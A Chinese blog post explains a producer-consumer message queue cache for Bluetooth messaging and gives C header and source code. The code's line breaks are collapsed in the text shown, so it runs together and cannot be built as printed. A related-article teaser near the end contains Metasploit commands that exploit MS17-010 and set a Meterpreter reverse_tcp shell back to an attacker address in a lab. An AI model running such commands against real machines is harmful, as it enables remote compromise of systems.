消息队列缓存,以蓝牙消息服务为例
前言
消息队列缓存,支持阻塞、非阻塞模式;支持协议、非协议模式
可自定义消息结构体数据内容
使用者只需设置一些宏定义、调用相应接口即可
这里我用蓝牙消息服务举例
有纰漏请指出,转载请说明。
学习交流请发邮件 1280253714@qq.com
原理讲解
队列采用"生产者-消费者"模式,
当接收数据时,生产者即为外部输入,输入的消息入列;消费者即为消息处理函数,处理消息前先出列,然后消费者处理出列的消息
当发送数据时,生产者为消息产生的任务,该任务将产生的消息入列;消费者为消息发送任务,该任务将待发送的消息出列并发送。
接口
接收消息接口
以蓝牙接收消息服务为例

接收消息处理接口
这里我开了一个定时任务来处理消息


待发送消息装载接口
由任务产生消息并调用装载函数,以下提供透明传输和协议传输接口

待发送消息发送接口
以蓝牙发送消息服务为例,这里我先进行出列判断,如果数据成功出列,则将消息通过蓝牙的内核发送出去

代码
msg.h
#ifndef _MSG_H
#define _MSG_H
#include "includes.h"#define MsgProtocol 1 //是否使用协议
#define MsgBlock 1 //消息是否阻塞,即当队列已满时,是否继续入列,//入列会导致前面接收到且未来得及处理的数据被覆盖 #define QueueMaxSize 5 //队列最大存放的数据个数
#define MsgMaxSize 64 //单帧数据最大长度
#define MsgPrefix 0xA5
#define MsgStuffix 0x5A
#define MsgIndexPrefix 0
#define MsgIndexLen 1
#define MsgIndexCmdId 2
#define MsgIndexCmd 3
#define MsgIndexDataBase 4typedef enum //队列当前状态
{eQueueEmpty, //队列为空eQueueNormal, //队列不为空eQueueFull, //队列已满
} QueueState_E; typedef enum //出列的数据情况
{eDataEmpty, //数据为空eDataNormal, //数据不为空
} DeQueueState_E; typedef struct //数据格式
{u8 u8Len;u8 szData[MsgMaxSize];
} MSG_S; typedef struct //队列结构体
{u32 msgCnt; u32 msgProcCnt;MSG_S dataEnQueue;MSG_S dataDeQueue;MSG_S data[QueueMaxSize];QueueState_E state; //队列当前状态u8 front; //队头u8 rear; //队尾u8 size; //队列大小
}MSG_ATTR_S;typedef struct //蓝牙消息结构体
{MSG_ATTR_S stRx;MSG_ATTR_S stTx;
}BLE_MSG_S; QueueState_E MsgQueueStateDetermine(MSG_ATTR_S *queue);
void MsgEnQueue(MSG_ATTR_S *queue, MSG_S *data);
DeQueueState_E MsgDeQueue(MSG_ATTR_S *queue);
void MsgRxDataProc(void);
int MsgProcCrc(u8 *pRxData);
void LoadTransparentMsg(MSG_ATTR_S *queue, MSG_S *txMsg);
void LoadProtocalMsg(MSG_ATTR_S *queue, MSG_S *txMsg);
void BleMsgInit(void);extern MSG_ATTR_S stRxQueue;
extern BLE_MSG_S stBle; #endif
msg.c
#include "includes.h"BLE_MSG_S stBle;int MsgProcCrc(u8 *pRxData)
{u8 i = 0;u8 crc = 0;u8 size = pRxData[MsgIndexLen];if ((pRxData[MsgIndexPrefix] == MsgPrefix) && (pRxData[size - 1] == MsgStuffix)){for (i = 1; i <= size - 3; i++){crc += pRxData[i];}if (crc == pRxData[size - 2]){return 0;}}return -1;
}QueueState_E MsgQueueStateDetermine(MSG_ATTR_S *queue)
{
#if MsgBlockif (queue->size == 0){return eQueueEmpty;}else if (queue->size == QueueMaxSize){return eQueueFull;}else{return eQueueNormal;}
#elseif (queue->msgCnt == 0){return eQueueEmpty;}else if ( queue->msgCnt > 0){return eQueueNormal;}
#endif
}void MsgEnQueue(MSG_ATTR_S *queue, MSG_S *data)
{
#if MsgBlockif (queue->size == QueueMaxSize){return;}
#endif queue->dataEnQueue = *data;queue->data[queue->rear] = queue->dataEnQueue;queue->size++;queue->msgCnt++;queue->rear++;if (queue->rear == QueueMaxSize){queue->rear = 0;}queue->state = MsgQueueStateDetermine(queue);}DeQueueState_E MsgDeQueue(MSG_ATTR_S *queue)
{if (queue->size == 0){return eDataEmpty;}queue->dataDeQueue = queue->data[queue->front];memset(&queue->data[queue->front], 0, sizeof(queue->data[queue->front]));queue->size--;queue->front++;if (queue->front == QueueMaxSize){queue->front = 0;}queue->state = MsgQueueStateDetermine(queue);return eDataNormal;
}void MsgRxDataProc(void)
{if (stBle.stRx.state != eQueueEmpty){if (MsgDeQueue(&stBle.stRx) != eDataEmpty){stBle.stRx.msgProcCnt++;}}
}void LoadTransparentMsg(MSG_ATTR_S *queue, MSG_S *txMsg)
{MsgEnQueue(queue, txMsg);
}void LoadProtocalMsg(MSG_ATTR_S *queue, MSG_S *txMsg)
{u8 i;u8 checkSum = 0;MSG_S tmpMsg;memset(&tmpMsg, 0, sizeof(MSG_S));for (i = 0; i < txMsg->u8Len; i++){checkSum += txMsg->szData[i];tmpMsg.szData[i+2] = txMsg->szData[i]; }tmpMsg.szData[MsgIndexPrefix] = MsgPrefix;tmpMsg.szData[txMsg->u8Len + 3] = MsgStuffix;tmpMsg.szData[MsgIndexLen] = txMsg->u8Len + 4;checkSum += tmpMsg.szData[MsgIndexLen];tmpMsg.szData[txMsg->u8Len + 2] = checkSum;tmpMsg.u8Len = txMsg->u8Len + 4;MsgEnQueue(queue, &tmpMsg);
}void BleMsgInit(void)
{memset(&stBle, 0, sizeof(BLE_MSG_S));
}
一个图图

相关文章:
消息队列缓存,以蓝牙消息服务为例
前言 消息队列缓存,支持阻塞、非阻塞模式;支持协议、非协议模式 可自定义消息结构体数据内容 使用者只需设置一些宏定义、调用相应接口即可 这里我用蓝牙消息服务举例 有纰漏请指出,转载请说明。 学习交流请发邮件 1280253714qq.com 原…...
MSF派生给另外MSF,meterpreter派生给另外meterpreter,Metasploit
首先是通过ms17_010永恒之蓝拿下shell,192.168.50.146为受害者靶机,192.168.50.130为kali的ip set autorunscript post/windows/manage/migrate nameservices.exe set payload windows/x64/meterpreter/reverse_tcp set lport 5577 set lhost 192.168.50.130 use exploit/windo…...
【LeetCode】1.两数之和
目录 1 问题2 答案2.1 枚举法 (自己写的)2.2 哈希表 3 问题 1 问题 给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。 你可以假设每种输入只会对应…...
3. Windows下C++/MFC调用hiredis库操作redis示例
一、头文件目录 将之前下载和编译好的Redis目录拷贝到新建好的工程目录下面,再点击测试工程的右键/属性,点击C/常规,附加包含目录添加以下路径,注意如果原先有多个路径,在末尾处添加分号后再粘贴: 点击C/常…...
200、使用默认 Exchange 实现 P2P 消息 之 消息生产者(发送消息) 和 消息消费者(消费消息)
RabbitMQ 工作机制图: Connection: 代表客户端(包括消息生产者和消费者)与RabbitMQ之间的连接。 Channel: 连接内部的Channel。channel:通道 Exchange: 充当消息交换机的组件。 Queueÿ…...
SqlServer--get 和 post 请求 http接口
1. 开启 不开启报错 如下 4.1 SQL Server blocked access to procedure ‘sys.sp_OACreate’ sp_configure show advanced options, 1;GORECONFIGURE;GOsp_configure Ole Automation Procedures, 1;GORECONFIGURE;GO2. post Declare ServiceUrl nvarchar(MAX) Declare req_…...
利用人工智能提升企业培训的个性化体验
随着科技的不断进步,人工智能(AI)正逐渐渗透到各个领域。而在企业培训领域,人工智能也展现出了巨大的潜力。利用人工智能技术的企业培训系统,企业可以为员工提供个性化、高效的培训体验,进一步提升他们的专…...
基于JavaWeb的图书售卖网站(源码+部署+LW)
项目描述 临近学期结束,还是毕业设计,你还在做java程序网络编程,期末作业,老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。今天给大家介绍一篇基于JavaWeb的图书售卖网…...
Java设计模式之代理模式
代理模式是一种结构型设计模式,它允许通过创建一个代理对象来控制对另一个对象的访问。代理模式在软件开发中经常被使用,它可以提供额外的功能,例如远程访问、延迟加载、访问控制和日志记录等。 代理模式涉及三个主要角色: 抽象…...
Oracle数据泵导入和导出命令
–管理员方式登录,新建表空间和用户,并建立文件夹映射路径并授权 CREATE DIRECTORY directory_name AS ‘path_to_directory’; grant read,write on directory directory to backup ** —EXPDP多线程备份数据库脚本–dblink–可以修改为命令行 echo …...
Linux中所有环境变量配置文件及用途
在Linux系统中,有多个文件可以用来配置环境变量,这些文件位于不同的目录和层级,并可以用于不同的目的。以下是一些常见的环境变量配置文件: 系统级环境变量文件: /etc/environment:这个文件包含了系统范围的…...
一文读懂flutter线程: 深入了解Flutter中的多线程编程
深入了解Flutter中的多线程编程 前言一、为什么需要多线程?二、在Flutter中创建线程三、多线程的最佳实践四、Flutter中的多线程示例五、Flutter中的多线程错误处理六、Flutter中的多线程性能优化七、安全性和隐私考虑八、跨平台性考虑 总结 前言 在移动应用开发领域…...
如何限制word文件中部分内容无法编辑
工作中我们经常会用到Word制作一些文件,文件中有一部分内容不想他人编辑,我们可以设置限制编辑,可以对一部分内容设置限制编辑,具体方法如下: 我们将需要将可以编辑的地方选中,然后打开限制编辑功能 然后勾…...
免疫球蛋白介绍
免疫球蛋白(Immunoglobulin,Ig)是广泛存在于哺乳动物血清、淋巴液、组织液和外分泌液中的一种具有抗体活性或化学结构与抗体相似的球蛋白,在机体防御疾病的重要成分在疾病研究、药物研发、疫苗评价中具有重要作用。抗体࿰…...
VMWare 安装CentOS7镜像
安装CentOS 7 整个安装过程分两大步,第一步装机器,第二步装系统. 第一步: 装机器 检查物理机虚拟化支持是否开启,需要进入到BIOS中设置,因各种电脑型号进入BIOS 方式不同,同学们自行查找对应品牌电脑如何进入BIOS 建…...
什么台灯最好学生晚上用?开学适合孩子学习的台灯
作为学龄期儿童的家长,最担心的就是孩子长时间学习影响视力健康。无论是上网课、写作业、玩桌游还是陪伴孩子读绘本,都需要一个足够明亮的照明环境,因此选购一款为孩子视力发展保驾护航的台灯非常重要。推荐五款适合孩子学习的台灯。 1. 书客…...
6.1 C/C++ 封装字符串操作
C/C语言是一种通用的编程语言,具有高效、灵活和可移植等特点。C语言主要用于系统编程,如操作系统、编译器、数据库等;C语言是C语言的扩展,增加了面向对象编程的特性,适用于大型软件系统、图形用户界面、嵌入式系统等。…...
小白网络安全学习手册
作为一个合格的网络安全工程师,应该做到攻守兼备,毕竟知己知彼,才能百战百胜。 谈起黑客,可能各位都会想到:盗号,其实不尽然;黑客是一群喜爱研究技术的群体,在黑客圈中,一…...
思科拟推出PuzzleFS驱动,采用Rust语言开发
据了解,PuzzleFS宣称是“下一代 Linux 容器文件系统”,并使用Rust语言编写,具有“快速镜像构建”、“直接挂载支持”、“内存安全保证”等功能mroeoyw。 Multiable万达宝制造ERP(www.multiable.com.cn/solutions_zz)支持自定义栏位,并智能制…...
为什么要学习python
Python 越来越火爆 Python 在诞生之初,因为其功能不好,运转功率低,不支持多核,根本没有并发性可言,在计算功能不那么好的年代,一直没有火爆起来,甚至很多人根本不知道有这门语言。 随着时代的…...
MFC内存泄露
1、泄露代码示例 void X::SetApplicationBtn() {CMFCRibbonApplicationButton* pBtn GetApplicationButton();// 获取 Ribbon Bar 指针// 创建自定义按钮CCustomRibbonAppButton* pCustomButton new CCustomRibbonAppButton();pCustomButton->SetImage(IDB_BITMAP_Jdp26)…...
Objective-C常用命名规范总结
【OC】常用命名规范总结 文章目录 【OC】常用命名规范总结1.类名(Class Name)2.协议名(Protocol Name)3.方法名(Method Name)4.属性名(Property Name)5.局部变量/实例变量(Local / Instance Variables&…...
STM32F4基本定时器使用和原理详解
STM32F4基本定时器使用和原理详解 前言如何确定定时器挂载在哪条时钟线上配置及使用方法参数配置PrescalerCounter ModeCounter Periodauto-reload preloadTrigger Event Selection 中断配置生成的代码及使用方法初始化代码基本定时器触发DCA或者ADC的代码讲解中断代码定时启动…...
srs linux
下载编译运行 git clone https:///ossrs/srs.git ./configure --h265on make 编译完成后即可启动SRS # 启动 ./objs/srs -c conf/srs.conf # 查看日志 tail -n 30 -f ./objs/srs.log 开放端口 默认RTMP接收推流端口是1935,SRS管理页面端口是8080,可…...
算法岗面试经验分享-大模型篇
文章目录 A 基础语言模型A.1 TransformerA.2 Bert B 大语言模型结构B.1 GPTB.2 LLamaB.3 ChatGLMB.4 Qwen C 大语言模型微调C.1 Fine-tuningC.2 Adapter-tuningC.3 Prefix-tuningC.4 P-tuningC.5 LoRA A 基础语言模型 A.1 Transformer (1)资源 论文&a…...
Spring是如何解决Bean的循环依赖:三级缓存机制
1、什么是 Bean 的循环依赖 在 Spring框架中,Bean 的循环依赖是指多个 Bean 之间互相持有对方引用,形成闭环依赖关系的现象。 多个 Bean 的依赖关系构成环形链路,例如: 双向依赖:Bean A 依赖 Bean B,同时 Bean B 也依赖 Bean A(A↔B)。链条循环: Bean A → Bean…...
C++.OpenGL (14/64)多光源(Multiple Lights)
多光源(Multiple Lights) 多光源渲染技术概览 #mermaid-svg-3L5e5gGn76TNh7Lq {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-3L5e5gGn76TNh7Lq .error-icon{fill:#552222;}#mermaid-svg-3L5e5gGn76TNh7Lq .erro…...
Java编程之桥接模式
定义 桥接模式(Bridge Pattern)属于结构型设计模式,它的核心意图是将抽象部分与实现部分分离,使它们可以独立地变化。这种模式通过组合关系来替代继承关系,从而降低了抽象和实现这两个可变维度之间的耦合度。 用例子…...
【电力电子】基于STM32F103C8T6单片机双极性SPWM逆变(硬件篇)
本项目是基于 STM32F103C8T6 微控制器的 SPWM(正弦脉宽调制)电源模块,能够生成可调频率和幅值的正弦波交流电源输出。该项目适用于逆变器、UPS电源、变频器等应用场景。 供电电源 输入电压采集 上图为本设计的电源电路,图中 D1 为二极管, 其目的是防止正负极电源反接, …...
深入浅出深度学习基础:从感知机到全连接神经网络的核心原理与应用
文章目录 前言一、感知机 (Perceptron)1.1 基础介绍1.1.1 感知机是什么?1.1.2 感知机的工作原理 1.2 感知机的简单应用:基本逻辑门1.2.1 逻辑与 (Logic AND)1.2.2 逻辑或 (Logic OR)1.2.3 逻辑与非 (Logic NAND) 1.3 感知机的实现1.3.1 简单实现 (基于阈…...
